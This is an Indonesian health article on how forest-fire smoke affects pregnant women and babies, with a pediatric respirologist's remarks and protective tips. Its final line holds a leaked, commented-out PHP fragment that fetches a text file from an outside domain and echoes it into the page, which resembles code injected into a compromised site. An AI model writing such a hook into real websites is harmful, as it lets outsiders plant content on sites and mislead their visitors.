Dampak Karhutla bagi Ibu Hamil dan Bayi, Waspadai Risiko Bayi Prematur hingga Berat Lahir Rendah

 

 Ibu hamil dan bayi termasuk kelompok rentan yang perlu dilindungi dari paparan polusi udara akibat kebakaran hutan dan lahan. Foto ilustrasi: Magnific

Kebakaran hutan dan lahan (karhutla) tidak hanya meninggalkan kerusakan lingkungan, tetapi juga ancaman kesehatan bagi kelompok rentan, termasuk ibu hamil dan bayi. Asap hasil pembakaran mengandung berbagai polutan, seperti partikel halus PM2.5, PM10, karbon monoksida, serta gas-gas lain yang dapat masuk ke saluran pernapasan dan memengaruhi kesehatan tubuh.

Paparan polusi udara selama kehamilan menjadi perhatian karena ibu dan janin memiliki kerentanan tersendiri. Gangguan pernapasan pada ibu, terutama jika disertai kekurangan oksigen, berpotensi memengaruhi kondisi janin yang sedang berkembang.

Dalam diskusi online media Ikatan Dokter Anak Indonesia (IDAI) beberapa waktu lalu, Dr. Khairiyadi, Sp.A, Subsp.Respi.(K), M.Kes, anggota Unit Kerja Koordinasi (UKK) Respirologi IDAI, menjelaskan bahwa bayi merupakan salah satu kelompok paling rentan terhadap paparan polutan akibat karhutla.

Asap Karhutla Bisa Memengaruhi Kesehatan Ibu dan Janin

Asap karhutla mengandung partikel polusi berukuran sangat kecil yang dapat masuk ke saluran pernapasan. Salah satunya PM2.5, yang ukurannya cukup kecil untuk menembus hingga bagian terdalam paru-paru.

Selain PM2.5, terdapat PM10, karbon monoksida, dan berbagai gas hasil pembakaran yang dapat menimbulkan gangguan kesehatan. Paparan polutan dalam konsentrasi tinggi perlu diwaspadai, terutama pada ibu hamil yang memiliki riwayat penyakit pernapasan seperti asma.

Khairiyadi menjelaskan bahwa ibu hamil dengan asma berisiko mengalami gangguan oksigenasi ketika kondisinya memburuk akibat paparan polusi. Hal ini perlu diperhatikan karena oksigen yang diterima ibu juga berperan penting dalam menunjang kebutuhan janin.

Pada ibu hamil dengan gangguan pernapasan berat, kondisi hipoksia atau kekurangan oksigen dapat memengaruhi suplai oksigen kepada janin.

"Pada ibu yang asma, ya, ini sudah beberapa penelitian membuktikan itu terjadi hipoksia janin," jelas Khairiyadi dalam diskusi tersebut.

Karena itu, ibu hamil dengan riwayat asma perlu lebih berhati-hati selama periode karhutla. Gejala seperti sesak napas yang memburuk, batuk berkepanjangan, atau napas berbunyi sebaiknya tidak diabaikan dan perlu dikonsultasikan kepada dokter.

Risiko Bayi Prematur dan Berat Badan Lahir Rendah

Dampak polusi udara akibat karhutla juga perlu diperhatikan terhadap pertumbuhan dan perkembangan janin. Paparan polutan selama kehamilan telah dikaitkan dalam berbagai penelitian dengan peningkatan risiko kelahiran prematur dan berat badan lahir rendah (BBLR).

Khairiyadi menjelaskan bahwa paparan polusi dapat meningkatkan risiko gangguan kesehatan pada bayi, terutama ketika ibu mengalami masalah kesehatan akibat pencemaran udara.

Ia menambahkan, gangguan kesehatan yang dialami ibu selama kehamilan dapat menjadi salah satu faktor yang memengaruhi kondisi janin, termasuk risiko pertumbuhan janin terhambat.

Meski demikian, penting dipahami bahwa paparan asap tidak serta-merta menyebabkan bayi lahir prematur atau mengalami BBLR. Risiko dipengaruhi berbagai faktor, termasuk intensitas dan durasi paparan, kondisi kesehatan ibu, serta faktor kehamilan lainnya.

Oleh karena itu, menjaga kesehatan ibu selama periode karhutla menjadi bagian penting dari upaya melindungi janin.

Bayi Baru Lahir Juga Rentan terhadap Polusi Udara

Kerentanan terhadap asap karhutla tidak berhenti setelah bayi dilahirkan. Sistem pernapasan bayi yang masih berkembang membuat mereka lebih rentan terhadap dampak pencemaran udara.

Partikel halus dan gas hasil pembakaran dapat mengiritasi saluran pernapasan serta meningkatkan risiko gangguan pernapasan. Bayi yang lahir prematur juga membutuhkan perhatian lebih karena fungsi paru-parunya mungkin belum berkembang secara optimal.

Menurut Khairiyadi, polutan seperti PM2.5, PM10, karbon monoksida, dan gas aromatik hasil pembakaran perlu menjadi perhatian karena dapat memengaruhi kelompok rentan, termasuk bayi.

Bunda dan Ayah perlu memperhatikan tanda gangguan pernapasan pada bayi, seperti napas cepat, kesulitan bernapas, tarikan dinding dada, kesulitan menyusu, atau bayi tampak sangat lemas. Jika muncul tanda-tanda tersebut, segera bawa bayi ke fasilitas kesehatan untuk mendapatkan pemeriksaan.

Jangan menunggu sampai gejala semakin berat, terutama pada bayi baru lahir dan bayi dengan riwayat prematuritas.

Cara Melindungi Ibu Hamil dan Bayi Selama Karhutla

Mengurangi paparan asap menjadi langkah utama untuk melindungi ibu hamil dan bayi. Ketika kualitas udara memburuk, Bunda dan Ayah dapat melakukan beberapa upaya berikut:

1. Batasi aktivitas di luar rumah. Hindari kegiatan luar ruangan, terutama ketika kabut asap terlihat pekat atau kualitas udara sedang tidak sehat.

2. Jaga kualitas udara di dalam rumah. Tutup pintu dan jendela ketika asap masuk ke lingkungan. Gunakan air purifier dengan filter HEPA jika tersedia.

3. Gunakan masker yang sesuai. Ibu hamil yang harus beraktivitas di luar rumah dapat menggunakan masker respirator yang sesuai, seperti N95, KN95, atau KF94, dengan memperhatikan kecocokan dan kenyamanannya.

4. Pantau kondisi kesehatan. Ibu hamil dengan riwayat asma atau gangguan pernapasan perlu mengikuti anjuran dokter dan tidak menghentikan pengobatan tanpa konsultasi.

5. Tetap lakukan pemeriksaan kehamilan. Jangan melewatkan jadwal pemeriksaan untuk memantau kesehatan ibu dan pertumbuhan janin.

6. Jauhkan bayi dari paparan asap. Hindari membawa bayi ke luar rumah ketika kualitas udara buruk dan pastikan ruangan tempat bayi beristirahat memiliki kualitas udara yang lebih baik.

Khairiyadi juga menyoroti perlunya fasilitas rumah aman (safe house) bagi kelompok rentan yang tidak memungkinkan untuk mengungsi ke luar kota atau provinsi ketika karhutla terjadi. Fasilitas tersebut diharapkan memiliki pengelolaan ventilasi dan kualitas udara yang baik, serta ketersediaan oksigen untuk pasien yang membutuhkan bantuan medis.

Karhutla memang merupakan persoalan lingkungan yang tidak selalu bisa dikendalikan oleh keluarga. Namun, risiko paparannya dapat dikurangi melalui langkah perlindungan yang tepat. Bagi Bunda yang sedang hamil maupun keluarga yang memiliki bayi, kewaspadaan terhadap kualitas udara dan kondisi kesehatan perlu menjadi prioritas, terutama ketika karhutla kembali terjadi.

Baca juga:

Karhutla Berulang, Anak Butuh Rumah Aman! Ini Langkah Perlindungan dari Paparan Kabut Asap
Bayi hingga Remaja Putri, Ini Kelompok Anak yang Rentan Defisiensi Zat Besi
Defisiensi Zat Besi pada Anak Bukan Sekadar Anemia, Tumbuh Kembang Bisa Terdampak

 


Topic

#KesehatanIbuHamil #WaspadaKarhutla



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>